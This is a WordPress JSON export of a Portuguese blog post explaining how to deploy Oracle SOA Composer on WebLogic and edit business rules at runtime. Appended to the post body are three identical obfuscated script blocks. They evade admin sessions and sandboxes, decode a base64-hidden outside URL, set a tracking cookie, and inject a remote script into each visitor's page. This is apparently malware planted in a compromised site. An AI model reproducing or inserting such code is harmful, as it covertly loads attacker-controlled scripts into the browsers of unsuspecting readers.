{"id":2217,"date":"2012-02-07T21:03:30","date_gmt":"2012-02-07T23:03:30","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=2217"},"modified":"2025-10-26T22:37:26","modified_gmt":"2025-10-27T01:37:26","slug":"edicao-de-regras-em-tempo-de-execucao","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2012\/02\/07\/edicao-de-regras-em-tempo-de-execucao\/","title":{"rendered":"Edi\u00e7\u00e3o de regras em tempo de execu\u00e7\u00e3o"},"content":{"rendered":"<p style=\"text-align: justify;\">Um recurso muito poderoso no Oracle SOA Suite \u00e9 a possibilidade de edi\u00e7\u00e3o de componentes de regras em tempo de execu\u00e7\u00e3o. Para isso h\u00e1 uma ferramenta web, chamada SOA Composer. Para utiliz\u00e1-la \u00e9 necess\u00e1rio implant\u00e1-la no WebLogic.<\/p>\n<p style=\"text-align: justify;\">Acesse o console do WebLogic. V\u00e1 em Deployments e procure pelo elementos composer. Se sua instala\u00e7\u00e3o for nova o status do composer deve ser Installed. Selecione ele, v\u00e1 na aba Targets, selecione os checkboxes e clique em Change Targets. Escolha um servidor. Se voc\u00ea instalou o SOA com a op\u00e7\u00e3o SOA for Developer, s\u00f3 dever\u00e1 ter o servidor Administrativo. Marque-o e clique em Yes. Volte para Deployments, e verifique se a aplica\u00e7\u00e3o est\u00e1 ativa, se n\u00e3o estiver, selecione o checkbox do composer e clique no bot\u00e3o Start, Servicing all requests.<\/p>\n<p style=\"text-align: justify;\">Acesse a aplica\u00e7\u00e3o pelo endere\u00e7o http:\/\/IP:PORTA\/soa\/composer. Efetue o login, clique em Open Rules. Nesse exemplo, vamos utilizar o composite <a title=\"Regras no BPEL\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2012\/02\/07\/regras-no-bpel\/\" target=\"_blank\" rel=\"noopener\">desse post<\/a>. Selecione o composite adequado. Nessa tela voc\u00ea pode visualizar as regras existentes. Para editar, clique no bot\u00e3o Edit. Vou mudar a idade de 18 para 21.<\/p>\n<figure id=\"attachment_2219\" aria-describedby=\"caption-attachment-2219\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/02\/Oracle-Composer.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-2219 \" title=\"Oracle Composer\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/02\/Oracle-Composer-300x240.png\" alt=\"Oracle Composer\" width=\"300\" height=\"240\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/02\/Oracle-Composer-300x240.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/02\/Oracle-Composer-1024x819.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2012\/02\/Oracle-Composer.png 1280w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-2219\" class=\"wp-caption-text\">Oracle Composer<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Commit e Yes e agora \u00e9 s\u00f3 testar o servi\u00e7o! As altera\u00e7\u00f5es j\u00e1 devem estar no ar, sem a necessidade de compilar ou mesmo realizar deploy da aplica\u00e7\u00e3o.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Um recurso muito poderoso no Oracle SOA Suite \u00e9 a possibilidade de edi\u00e7\u00e3o de componentes de regras em tempo de execu\u00e7\u00e3o. Para isso h\u00e1 uma ferramenta web, chamada SOA Composer. Para utiliz\u00e1-la \u00e9 necess\u00e1rio implant\u00e1-la no WebLogic. Acesse o console <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2012\/02\/07\/edicao-de-regras-em-tempo-de-execucao\/\">Continue lendo  <span class=\"screen-reader-text\">  Edi\u00e7\u00e3o de regras em tempo de execu\u00e7\u00e3o<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10,9,76,6],"tags":[],"class_list":["post-2217","post","type-post","status-publish","format-standard","hentry","category-java","category-jee","category-oracle","category-soa-2","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2217","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=2217"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/2217\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=2217"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=2217"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=2217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}